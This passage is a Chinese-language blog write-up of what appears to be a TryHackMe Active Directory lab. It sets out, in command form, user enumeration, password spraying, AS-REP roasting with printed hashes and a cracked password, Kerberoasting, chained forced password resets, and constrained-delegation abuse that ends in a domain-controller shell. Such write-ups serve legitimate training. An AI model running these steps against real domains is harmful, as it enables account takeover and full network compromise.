&lt;p&gt;通过浏览其中的pdf文件我们能够推断出txt文件可能是一个模板文件，用于将&lt;code&gt;&amp;#x3C;User&gt;&lt;/code&gt;替换成用户名后渲染到pdf的这一页中。&lt;/p&gt;
&lt;p&gt;所以根据内容已经所以接下来的新思路就是枚举所有用户名，尝试使用默认密码进行登录。&lt;/p&gt;
&lt;h3&gt;用户枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;crackmapexec smb 10.10.92.51 -u &quot;anonymous&quot; -d thm.local -p &apos;&apos; --rid-brute &gt;&gt; a.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgRidBrute}
alt=&apos;crackmapexec RID 枚举输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat a.txt| cut -d &apos;\&apos; -f 2 | grep SidTypeUser | awk &apos;{print $1}&apos; &gt; usernames.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgUsernames}
alt=&apos;提取出的用户名列表&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;密码喷射&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;crackmapexec smb 10.10.92.51 -u usernames.txt -p &apos;ResetMe123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPasswordSpray}
alt=&apos;密码喷射验证结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;可以发现，目前只有pdf中的用户&lt;code&gt;LILY_ONEILL&lt;/code&gt;未修改默认密码。&lt;/p&gt;
&lt;p&gt;可惜的是通过&lt;code&gt;LILY_ONEILL&lt;/code&gt;无法获取到shell&lt;/p&gt;
&lt;h2&gt;横向移动与权限提升&lt;/h2&gt;
&lt;p&gt;扫描开启了 **“无需预认证”**的账户&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;apt install python3-impacket
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Kerberos AS-REP Roasting攻击&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -no-pass &apos;thm.corp/&apos; -dc-ip 10.10.92.51 -request -usersfile usernames.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgAsrep}
alt=&apos;GetNPUsers 导出 AS-REP 哈希&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;发现三个TGT&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$krb5asrep$23$ERNESTO_SILVA@THM.CORP:6a45925477f99879b8055888ce6bca96$927fb698caac41a10e1023638d035d9115ad11f93a0b21cd4d1b66d9993da62dca5a0d85cda5e1ffd24d769510738c4948b7e482690ba002d0768b8acf8fc22356f161703fd9fe8b5aa701463436625204a4a716bb914784316c26700bfb27a80040ebbbdb3580ccd91e6e130f79481e6d6717ab79b2c1d325bffb4c185876832b950430cee0939edd333e90a0500327bed3284539f0874f548c7b3c81bc0c18d7f922b32982178225a54681e949a3a041795c7e3949f7617e0e665cef645ade4b7dab1fb71ca5ed6e5dc81a3bec792583c111312ff39a745e4c43a9e41d8f9a269b5a1f

$krb5asrep$23$TABATHA_BRITT@THM.CORP:e5a3c8465c0d6fdfa0b6b31c2ea1dfc8$99b7065eeb90ff423ad65e55de27d48fbc36fad77f9dcf4dffc9fcd6347772b9f9903b676512d551c7e565b2be9c192cff0ded60627346d58d500b5d923832d84fdab6da3ec6e03f0ee7ee81b5f54f37916f9aca5eefd5f8ad6fac06147b254b00a459986ad76e52c9a33131891e4984a2fe01c9c2a3def7feee6bf2919b28299fcfa7c932939b2fcfba66a2d5a0217c74f04360d4f2913d4a59a6d52addd6540963c814ed60b72ddcc208aa3beae9d0c37ee75f04a52267b0a27f7a64071cad5a708cb3a786dd8a01a5a41491f724a34856351a49d221c863c93c19a9d1a7df4cea6ae2

$krb5asrep$23$LEANN_LONG@THM.CORP:45cb306670d80c559c718a645b2fecf7$1e48fc282e120d5e78de9644784b6c10b3ef3adf6849bcaae394b333cb3809931783ba62fc40adab997ee0a393f404eddfd4f3256c57edc22e36ddcbcf4f06611170a954f19954ef0650a2306d36c3f67306cb590aa902478adfa9b84ab8de59d29b74c15de0c06aec5a1c3a20b3d6c762634f3d363e68229d9af1dd2bbb15dc1ebee78991a605c509c61b0df0b1034e84261ee53ded8919293214fcf679f4aa90587699f8343fa0852340ede08f095cce71c3043c245e74ec3aeb55d8f268d0648b6cb6c722e01f3e494240b5bef183dd4f1de1634e9dc526a05a7080f2c08311a79336
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆破出一个密码&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgHashCrack}
alt=&apos;哈希破解结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py &quot;thm.corp/TABATHA_BRITT:marlboro(1985)&quot; -dc-ip 10.10.92.51 -request -outputfile SPN.hashes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgSpn}
alt=&apos;GetUserSPNs 抓取 SPN 哈希&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;但可惜的是TABATHA_BRITT也不可用。&lt;/p&gt;
&lt;h3&gt;bloodhound权限分析&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bloodhound-python -d THM.corp -u &apos;TABATHA_BRITT&apos; -p &apos;marlboro(1985)&apos; -ns 10.10.92.51 -c all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBloodhoundCollect}
alt=&apos;bloodhound-python 数据收集输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;通过用户枚举域中信息&lt;/h3&gt;
&lt;p&gt;从此位置起ip变更为&lt;code&gt;10.10.76.184&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgNewIpRecon}
alt=&apos;更换目标 IP 后的信息收集&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;将收集到的数据导入到&lt;code&gt;bloodhood&lt;/code&gt;中&lt;/p&gt;
&lt;p&gt;检查&lt;code&gt;AS-REQ Roastable&lt;/code&gt;用户&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBloodhoundAsreq}
alt=&apos;BloodHound 中 AS-REQ Roastable 用户视图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;选中&lt;code&gt;TABATHA_BRITT&lt;/code&gt;节点，Node info-&gt;OUTBOUND CONTROL RIGHTS-&gt;Transitive Object Control&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBloodhoundOutbound}
alt=&apos;BloodHound 节点 OUTBOUND CONTROL RIGHTS 信息&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBloodhoundDelegation}
alt=&apos;BloodHound 展示约束委派目标为域控 CIFS 的路径图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBloodhoundPath}
alt=&apos;BloodHound 权限链路图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;可见约束委派被配置为允许委派到域控制器的 &lt;strong&gt;CIFS&lt;/strong&gt; 服务，所以我们获取到&lt;code&gt;DARLA_WINTERS&lt;/code&gt;账户之后即可获取域控权限。&lt;/p&gt;
&lt;h2&gt;约束委派攻击&lt;/h2&gt;
&lt;h3&gt;密码重置操作链&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;TABATHA_BRITT
└─→ GenericAll → SHAWNA_BRAY
    └─→ ForceChangePassword → CRUZ_HALL
        └─→ ForceChangePassword → DARLA_WINTERS
            └─→ 约束委派 → Domain Controller (CIFS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于&lt;code&gt;TABATHA_BRITT&lt;/code&gt;有&lt;code&gt;SHAWNA_BRAY&lt;/code&gt;的&lt;code&gt;GenericAll&lt;/code&gt;权限，所以我们可以用其重置&lt;code&gt;SHAWNA_BRAY&lt;/code&gt;的密码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;net rpc password &quot;SHAWNA_BRAY&quot; &quot;QWER@1234&quot; -U &quot;THM.CORP&quot;/&quot;TABATHA_BRITT&quot;%&quot;marlboro(1985)&quot; -S &quot;10.10.76.184&quot;
crackmapexec smb 10.10.76.184 -u &apos;SHAWNA_BRAY&apos; -p &apos;QWER@1234&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPwdReset1}
alt=&apos;重置 SHAWNA_BRAY 密码的命令输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SHAWNA_BRAY&lt;/code&gt;具有&lt;code&gt;ForceChangePassword&lt;/code&gt;权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;net rpc password &apos;CRUZ_HALL&apos; &apos;QWER@1234&apos; -U &apos;thm.corp&apos;/&apos;SHAWNA_BRAY&apos;%&apos;QWER@1234&apos; -S 10.10.76.184
crackmapexec smb 10.10.76.184 -u &apos;CRUZ_HALL&apos; -p &apos;QWER@1234&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPwdReset2}
alt=&apos;重置 CRUZ_HALL 密码的命令输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CRUZ_HALL&lt;/code&gt;也具有&lt;code&gt;ForceChangePassword&lt;/code&gt;权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;net rpc password &apos;DARLA_WINTERS&apos; &apos;QWER@1234&apos; -U &apos;thm.corp&apos;/&apos;CRUZ_HALL&apos;%&apos;QWER@1234&apos; -S 10.10.76.184
crackmapexec smb 10.10.76.184 -u &apos;DARLA_WINTERS&apos; -p &apos;QWER@1234&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPwdReset3}
alt=&apos;重置 DARLA_WINTERS 密码的命令输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;约束委派利用&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 /usr/share/doc/python3-impacket/examples/getST.py -spn cifs/HayStack.thm.corp -impersonate Administrator THM.corp/DARLA_WINTERS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgGetST}
alt=&apos;getST 获取 CIFS 委派票据&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export KRB5CCNAME=Administrator.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;域控接管&lt;/h3&gt;
&lt;p&gt;这里有个小坑,&lt;code&gt;haystack.thm.corp&lt;/code&gt;应该添加到hosts文件中,&lt;code&gt;wmiexec&lt;/code&gt;似乎没有参数能够指定域控ip&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass Administrator@haystack.thm.corp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgWmiexec}
alt=&apos;wmiexec 获取域控 shell 的输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250210145734557.Daa_Bx2D.png"/><enclosure url="/_astro/image-20250210145734557.Daa_Bx2D.png"/></item></channel></rss>